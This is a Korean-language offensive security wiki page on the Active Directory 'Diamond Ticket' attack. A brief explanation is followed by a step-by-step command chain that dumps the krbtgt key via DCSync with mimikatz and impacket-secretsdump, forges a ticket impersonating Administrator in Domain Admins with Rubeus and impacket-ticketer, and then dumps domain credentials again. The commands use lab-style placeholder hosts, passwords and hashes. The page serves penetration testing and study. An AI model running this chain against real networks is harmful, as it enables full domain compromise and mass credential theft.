Diamond Tickets
공격자의 로컬에서 TGT를 자체 제작하여 사용하는 골든 티켓과 달리, 다이아몬드 티켓은 KDC에 직접적으로 TGT를 요청합니다. 이것이 골든 티켓과 다이아몬드 티켓의 유일한 차이입니다.
Abuse
# krbtgt의 커버로스 키(AES256) 덤프
mimikatz # lsadump::dcsync /user:contoso\krbtgt /domain:contoso.com
# 도메인 SID 덤프
Import-Module ActiveDirectory
(Get-ADDomain).DomainSID.Value
# 다이아몬드 티켓 생성 및 환경 변수 등록
.\Rubeus.exe diamond /domain:contoso.com /user:Mick3y /password:Password123! /dc:ad01.contoso.com /enctype:AES256 /krbkey:d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb /ticketuser:Administrator /ticketuserid:500 /groups:512 /nowrap /ptt# krbtgt ntlm + aes256 해시 덤프
impacket-secretsdump contoso.com/Administrator:'Password123!'@192.168.1.11 -just-dc-user contoso/krbtgt
# 도메인 SID 덤프
nxc ldap 192.168.1.11 -u Mick3y -p 'Password123!' --get-sid
# 다이아몬드 티켓 생성 및 환경 변수 등록
impacket-ticketer -request -domain contoso.com -user Mick3y -password 'Password123!' -nthash 58e650ae1e1a52cecb2310d029d5e20b -aesKey d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb -domain-sid S-1-5-21-2835490888-2107562977-246861531 Administrator
export KRB5CCNAME=Administrator.ccache
# dcsync
impacket-secretsdump -k ad01.contoso.com -dc-ip 192.168.1.11Root Cause
다이아몬드 티켓은 골든 티켓과 다르게 실제 KDC로부터 유효한 정상 TGT를 발급받은 후 조작하는 공격입니다. AS-REP으로 획득하는 TGT는 전혀 조작되지 않은 상태이기 때문에 와이어샤크로 분석한다고 하더라도 요청자에 대한 티켓밖에 나오지 않습니다.
ticketer.py 코드를 확인하면 createBasicTicket 함수 내부에서 target으로 삽입한 인자를 cname 변수에 할당하는 것이 확인됩니다. 그러면 아래와 같이 AS-REP를 통해 반환된 TGT의 PAC 내부 cname이 Mick3y에서 Administrator로 변경됩니다.

References
Last updated

